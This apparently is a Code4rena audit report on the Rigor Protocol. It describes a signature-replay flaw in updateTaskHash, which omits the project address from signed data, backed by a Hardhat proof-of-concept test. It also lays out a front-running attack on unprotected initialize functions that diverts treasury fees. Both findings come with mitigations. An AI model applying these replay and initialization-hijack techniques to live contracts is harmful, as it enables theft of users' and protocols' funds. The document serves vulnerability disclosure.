Rigor Protocol contest - Haipls's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L266-L293

Vulnerability details

Impact

According to documentation project task hash is used for fetching correct data about task details from IPFS . As a result atacker can change document to another document with another task description

Proof of Concept

This issue works because:

1. In data for update task hash missed project address which allows to use this signature in the some projects with the same builder/contractor but it is depend by conditions

In next situation when Builder/Contractor create and use signature (next Sig1) for update task hash (next T1) for project (next P1), this Sig1 can be use in another project (next P2) for update task hash in next cases: Case 1: P1 haven't contractor P2 haven't contractor P1 & P2 have the same builder P1 & P2 have equal nonce (variable hashChangeNonce have the equal value) P1 & P2 have task with the same task id

1. Then builder send Sig1 for update T1 to P1 call updateTaskHash
2. Attacker send Sig1 for update another task with the same Id to P2 call updateTaskHash

Case 2: P1 have contractor (next C1) P2 have contractor C1 P1 & P2 have equal nonce (variable hashChangeNonce have the equal value) P1 & P2 have task with the same task id Variable contractorDelegated have positve (true) value

1. Then C1 send Sig1 for update T1 to P1 call updateTaskHash

2. Attacker send Sig1 for update task to P2 call updateTaskHash

Case 3: It's the work also when Project have contractor and contractorDelegated value is false

Next test which check this issue: Next test was add to projectTests.ts in L:96

  it('One builder adds task on two projects', async () => {
    const hashArray = ['0x'];
    const costArray = [taskCost];
    taskList.push(taskCost);
    const data = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedData, signature] = await multisig(data, [signers[0]]);

    const tx = await project.addTasks(encodedData, signature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(1);
    const { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);
    const hashArray2 = ['0x00'];
    const data2 = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray2,
        costArray,
        await project2.taskCount(),
        project2.address,
      ],
    };
    const [encodedData2, signature2] = await multisig(data2, [signers[0]]);

    const tx2 = await project2.addTasks(encodedData2, signature2);
    await expect(tx2)
      .to.emit(project2, 'TasksAdded')
      .withArgs(costArray, hashArray2);

    expect(await project2.taskCount()).to.equal(1);

  });

  it('Atacker able to update task hash by using signature and data from another project with the same builder', async () => {
    const hashChangeNonce = (await project.hashChangeNonce()).toNumber();
    const taskID = 1;
    const modifiedSampleBytes = '0x12';
    const data = {
      types: ['bytes', 'uint256', 'uint256'],
      values: [modifiedSampleBytes, hashChangeNonce, taskID],
    };
    const [encodedData, signature] = await multisig(data, [signers[0]]);
    const tx = await project.updateTaskHash(encodedData, signature);
    await expect(tx)
      .to.emit(project, 'TaskHashUpdated')
      .withArgs(taskID, modifiedSampleBytes);

    expect(await project.hashChangeNonce()).to.equal(hashChangeNonce + 1);

    const tx2 = await project2.connect(signers[3]).updateTaskHash(encodedData, signature);
    await expect(tx2)
      .to.emit(project2, 'TaskHashUpdated')
      .withArgs(taskID, modifiedSampleBytes);

    expect(await project2.hashChangeNonce()).to.equal(hashChangeNonce + 1);
  });

Recommended Mitigation Steps

Add project address to signature data and add require for check project address is corectly to updateTaskHash method example

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFiProxy.sol#L216-L230 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L102-L119 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/DebtToken.sol#L43-L58 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L74-L81 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L92-L120 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L94-L105 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L45-L55

Vulnerability details

Impact

All next Impact depends on actions and attention from developers when deployed

• Loss of funds
• Failure of the protocol, with the need for redeploy
• Loss of control over protocol elements (some smart contracts)
• The possibility of replacing contracts and settings with harmful ones And other things that come out of it...

Proof of Concept

For a proper understanding of Proof of Concept, you need to understand the following things:

1. Hardhat does not stop the process with a deploy and does not show failed transactions if they have occurred in some cases
2. Malicious agents can trace the protocol deployment transactions and insert their own transaction between them

Reason:

• During deploy TransparentUpgradeableProxy's initialize method for initializing contracts not called. The third parameter responsible for this is an empty string. This causes the initialization process itself to be delayed

• Contract initialization methods have no check over who calls them Example ProjectFactory.sol#L45-L55

**Also suitable for other contracts, strings are attached in Links to affected code **

Example of exploiting the vulnerability Failure of the protocol, with the need for redeploy && Loss of control over protocol elements (some smart contracts) :

1. User listen transaction in mempool, etherscan, transaction in block etc
2. Finds the moment of deployment and sends the transaction for setup his HomeFi address in Disputes contract: Just he call initialize method and put his _homeFi parameter
3. In the event that hardhat tracked a failed transaction, the deployment will stop and you will need to start over. If the hardhead misses it and the developers do not check the result and the setting, access to this part will be lost and fix is needed

Example of exploiting the vulnerability Loss of funds:

1. User listen transaction in mempool, etherscan, transaction in block for listne when HomeFi will deployed
2. Send transaction for initialize HomeFi with his _treasury address
3. Transfer the admin ownership the right to the real address to divert the eyes
4. The address of the treasury remains with the attacker
5. The protocol fees (fee) will be transfered to the attacker's address until it is detected

Recommended Mitigation Steps

Carry out checks at the initialization stage or redesign the deployment process with the initialization of contracts during deployment